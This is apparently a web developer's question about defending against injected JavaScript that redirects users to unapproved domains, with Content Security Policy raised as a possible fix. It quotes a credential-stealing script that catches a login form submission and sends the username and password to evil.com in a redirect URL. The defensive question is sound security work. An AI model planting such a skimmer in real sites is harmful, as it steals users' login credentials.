Following this question, is there a way to prevent this code from redirecting users to domains not whitelisted?
const form = document.getElementsByTagName('form')[0];
form.addEventListener('submit', stealCredentials);
function stealCredentials() {
const login = document.getElementsByName('login')[0].value;
const password = document.getElementsByName('password')[0].value;
window.location.href = 'http://evil.com/?login=' + login + '&password=' + password
}
Is there a clean way to do it? Like Content Security Policy or something similar?